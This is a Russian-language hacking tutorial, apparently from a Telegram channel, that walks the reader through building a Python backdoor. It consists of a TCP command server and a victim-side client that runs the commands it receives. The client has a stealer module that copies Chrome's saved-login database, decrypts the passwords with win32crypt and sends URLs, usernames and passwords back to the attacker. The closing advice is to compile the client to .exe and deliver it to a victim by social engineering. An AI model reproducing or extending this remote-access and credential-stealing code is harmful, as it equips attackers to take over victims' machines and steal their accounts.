Свой мини-бэкдор на Python. {Black Coding}
https://teleg.one/darkside_team
Привет, хацкер. Сегодня мы напишем свой карманный бэкдор на всё том же питоне.
Перед тем, как мы приступим к кодингу, разберём, из чего состоит бэкдор.
Бэкдор состоит из двух приложений:
- Клиент
- Сервер
Клиент - наш вредоносный файл, который запускает жертва, а после отправляет запрос к нашему серверу, для получения последующих команд.
Сервер - наша командная оболочка, для отправки команд на заражённый компьютер.
Coding Time!
Сервер.
Сначала мы импортируем модуль sockets и создаем сам сокет. AF_INET используется для адреса IPv4, SOCK_STREAM обозначает TCP коннект.
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
Мы берем 2 переменные: ip, которая является строкой,содержащей IP-адрес сервера, и порт содержит адрес порта, который является целым числом.
Сокеты не могут быть использованы повторно, иногда мы можем сталкиватся с ошибками при использовании сокетов . Поэтому мы используем:
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
чтобы уменьшить появления вероятных ошибок.
Пройдёмся по переменным/функциям, которые мы будем использовать:
s.bind()
используется для привязки сокета к адресу.- Аргумент,
listen(n)
указывающий библиотеке сокетов, что мы хотим, чтобы она поставила в очередь до n запросов на подключение. s.accept()
используется для принятия соединения.- conn - это новый объект сокета, используемый для отправки и получения данных о соединении, а addr - это адрес, связанный с сокетом на другом конце соединения.
s.send()
будет отправлять данные клиенту иs.recv()
использовать для получения данных от клиента. Данные, передаваемые по сети, должны быть в байтах . Поэтому мы используем префикс b для строки или.encode ()
для переменной.
Код сервера:
# Server / @darkside_team
import socket
ip = "127.0.0.1" port = 5552
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) s.bind((ip,port)) s.listen(1) conn,addr=s.accept() print('[+]Connected to ',addr) conn.send(b"hello") response=conn.recv(1024) print(response)
Клиент.
s.connect()
используется для подключения к серверу.- Для получения данных с сервера
s.recv()
используется аргумент int, передающий число байтов, которые необходимо получить.s.send()
используется для отправки данных на сервер с клиента.
#Client / @darkside_team
import socket
ip = "127.0.0.1" port = 5552
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) s.connect((ip,port)) response=s.recv(1024) s.send(b"Hello") print("Data sent!")
Приступим к тесту! Сначала запускаем server.py для прослушки соединений:
python server.py
Затем запускаем клиент:
python client.py
Как только client.py сработает, мы получаем такое уведомление:
Мы создали Python-сервер и клиент, которые могут общаться друг с другом используя сеть.
Модули для бэкдора.
Сейчас напишем несколько простых/базовых команд, которые будут выполняться на стороне клиента.
Начнём с простой команды cwd, которая будет выводить текущую директорию
Редактируем client.py:
import os
elif command == b'cwd': thisdir = os.getcwd() output = bytes(thisdir, 'utf-8') s.send(output)
Создаём команду для сервера, которая отправляет команду клиенту и получает вывод.
while True: command=input("Shell>>") if command=='exit': conn.send(b'exit') conn.close() break else: conn.send(command.encode()) output=conn.recv(1024) print(output)
Тестим:
Теперь добавим модуль стилера.
В client добавим необходимые библиотеки:
import sqlite3 import win32crypt import shutil
Затем добавляем обработку команды и сам код стиллера:
elif command == b'passwords': def Chrome(): text = "" if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': text += url + ' | ' + login + ' | ' + password return text
output = bytes(str(Chrome()), 'utf-8') s.send(output)
Снова тетстим:
Оно живое!
Заключение.
Для комфортного использования бэкдора со стороны жертвы можно скомпилировать наш файл в .exe, и методами СИ подкинуть бэкдор нашей жертве. Надеюсь, эта статья была для тебя полезной. На этом всё, удачи тебе, хацкер.